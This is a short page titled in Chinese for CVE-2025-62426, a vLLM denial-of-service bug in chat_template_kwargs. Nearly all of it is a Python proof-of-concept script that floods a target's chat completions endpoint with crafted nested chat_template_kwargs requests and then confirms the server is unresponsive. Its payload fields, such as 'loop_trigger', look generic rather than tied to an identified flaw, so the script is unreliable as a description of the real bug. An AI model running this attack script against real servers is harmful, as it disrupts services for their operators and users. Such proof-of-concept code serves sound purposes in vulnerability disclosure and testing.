CVE-2025-62426: vLLM chat_template_kwargs参数拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-62426 PoC - vLLM chat_template_kwargs DoS This PoC demonstrates the denial of service vulnerability in vLLM's chat_template_kwargs parameter handling. """ import requests import json import time import concurrent.futures TARGET_URL = "http://target-server:8000/v1/chat/completions" def trigger_dos(): """ Send a malicious request with crafted chat_template_kwargs to trigger long processing time. """ headers = { "Content-Type": "application/json", "Authorization": "Bearer YOUR_API_KEY" } # Craft malicious payload with problematic chat_template_kwargs payload = { "model": "meta-llama/Llama-3-8b", "messages": [ {"role": "user", "content": "Hello"} ], # Malicious chat_template_kwargs that triggers DoS "chat_template_kwargs": { "loop_trigger": True, "nested_data": {"level1": {"level2": {"level3": {"level4": {"level5": "x" * 1000}}}} } } try: response = requests.post( TARGET_URL, headers=headers, json=payload, timeout=5 ) print(f"Response status: {response.status_code}") except requests.exceptions.Timeout: print("Request timed out - DoS successful") except Exception as e: print(f"Error: {e}") def verify_dos(): """ Verify that the server is unresponsive after DoS attack. """ normal_payload = { "model": "meta-llama/Llama-3-8b", "messages": [{"role": "user", "content": "Hi"}] } try: response = requests.post( TARGET_URL, json=normal_payload, timeout=10 ) return response.status_code == 200 except: return False if __name__ == "__main__": print("[*] Starting CVE-2025-62426 DoS attack...") # Send multiple malicious requests with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor: futures = [executor.submit(trigger_dos) for _ in range(3)] concurrent.futures.wait(futures) print("[*] Verifying server availability...") time.sleep(2) if not verify_dos(): print("[+] DoS confirmed - Server is unresponsive") else: print("[-] Server still responsive")